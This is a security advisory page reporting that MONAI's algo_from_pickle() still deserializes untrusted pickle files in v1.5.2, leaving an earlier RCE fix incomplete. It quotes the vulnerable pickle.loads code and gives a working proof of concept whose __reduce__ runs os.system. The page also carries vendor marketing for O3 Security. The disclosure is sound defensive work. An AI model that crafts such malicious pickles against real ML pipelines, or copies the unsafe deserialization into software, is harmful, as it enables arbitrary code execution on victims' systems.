GHSA-qxq5-qhx6-94qw
HIGHGHSA-qxq5-qhx6-94qw is a high-severity (CVSS 7.8) remote code execution vulnerability in monai. O3 Security confirms whether GHSA-qxq5-qhx6-94qw is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch
Real-World Exposure
monaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in
algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py
has not been modified since 2024-07-12 — 18 months before v1.5.2 was released
(2026-01-29). All three pickle.loads() calls remain unchanged. The fix was
never implemented.
Vulnerable Code
File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)
def algo_from_pickle(pkl_filename: str, ...):
with open(pkl_filename, "rb") as f_pi:
data_bytes = f_pi.read()
data = pickle.loads(data_bytes) # SINK 1 — line 321, RCE fires here
# isinstance/key checks happen AFTER deserialization — already too late
algo_bytes = data.pop("algo_bytes")
...
if len(template_paths_candidates) == 0:
algo = pickle.loads(algo_bytes) # SINK 2 — line 350
else:
for p in template_paths_candidates:
algo = pickle.loads(algo_bytes) # SINK 3 — line 356
No Unpickler subclass, no find_class restriction, no allowlist.
Why the Fix is Incomplete
- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch
PoC
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('id > /tmp/rce_proof.txt',))
# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
f.write(pickle.dumps(data))
# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
data = pickle.loads(f.read()) # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"]) # SINK 2 fires
print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...
Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
desktop-5657tb1\woong
Impact
Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | monai | all versions | 1.6.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update monai to 1.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qxq5-qhx6-94qw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-qxq5-qhx6-94qw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-qxq5-qhx6-94qw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qxq5-qhx6-94qw in your dependencies?
O3 detects GHSA-qxq5-qhx6-94qw across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.